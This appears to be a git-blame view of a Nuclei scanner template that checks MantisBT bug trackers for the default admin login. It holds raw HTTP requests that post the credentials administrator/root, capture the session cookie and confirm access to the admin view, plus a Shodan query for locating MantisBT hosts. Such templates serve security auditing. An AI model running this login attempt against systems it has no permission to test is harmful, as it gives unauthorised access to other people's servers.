2022-03-17 15:54:25 +00:00
|
|
|
id: mantisbt-default-credential
|
|
|
|
|
|
|
|
info:
|
2022-03-23 13:33:16 +00:00
|
|
|
name: MantisBT Default Admin Login
|
2024-06-13 13:31:32 +00:00
|
|
|
author: For3stCo1d,YashVardhanTripathi
|
2022-03-17 15:54:25 +00:00
|
|
|
severity: high
|
2022-03-23 13:33:16 +00:00
|
|
|
description: A MantisBT default admin login was discovered.
|
|
|
|
reference:
|
|
|
|
- https://mantisbt.org/
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
|
|
|
|
cvss-score: 8.3
|
|
|
|
cwe-id: CWE-522
|
2022-04-22 10:38:41 +00:00
|
|
|
metadata:
|
2023-04-28 08:11:21 +00:00
|
|
|
max-request: 1
|
2022-04-22 10:38:41 +00:00
|
|
|
shodan-query: title:"MantisBT"
|
2022-03-25 14:16:18 +00:00
|
|
|
tags: mantisbt,default-login
|
2022-03-17 15:54:25 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-03-17 15:54:25 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
2024-06-13 13:31:32 +00:00
|
|
|
GET /login_password_page.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
POST /login_password_page.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Cookie: MANTIS_secure_session=1; PHPSESSID={{session}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
return=index.php&username={{username}}
|
|
|
|
- |
|
|
|
|
POST /login_password_page.php HTTP/1.1
|
2022-03-17 15:54:25 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2024-06-13 13:31:32 +00:00
|
|
|
Cookie: MANTIS_secure_session=1; PHPSESSID={{session}}
|
2022-03-17 15:54:25 +00:00
|
|
|
|
2024-06-13 13:31:32 +00:00
|
|
|
return=index.php&username={{username}}&password={{password}}&secure_session=on
|
|
|
|
- |
|
2024-06-13 13:35:58 +00:00
|
|
|
GET /my_view_page.php HTTP/1.1
|
2024-06-13 13:31:32 +00:00
|
|
|
Host: {{Hostname}}
|
2022-03-17 15:54:25 +00:00
|
|
|
|
|
|
|
attack: pitchfork
|
|
|
|
payloads:
|
2024-06-13 13:31:32 +00:00
|
|
|
username:
|
2022-03-17 15:54:25 +00:00
|
|
|
- administrator
|
2024-06-13 13:31:32 +00:00
|
|
|
password:
|
2022-03-17 15:54:25 +00:00
|
|
|
- root
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2024-06-13 13:31:32 +00:00
|
|
|
- type: word
|
|
|
|
part: body_4
|
|
|
|
words:
|
|
|
|
- "View Issues"
|
|
|
|
- "Change Log"
|
2022-03-17 15:54:25 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2024-06-13 13:31:32 +00:00
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
2024-06-13 13:31:32 +00:00
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: session
|
|
|
|
internal: true
|
|
|
|
group: 1
|
|
|
|
part: header
|
|
|
|
regex:
|
|
|
|
- "PHPSESSID=([a-zA-Z0-9]+);"
|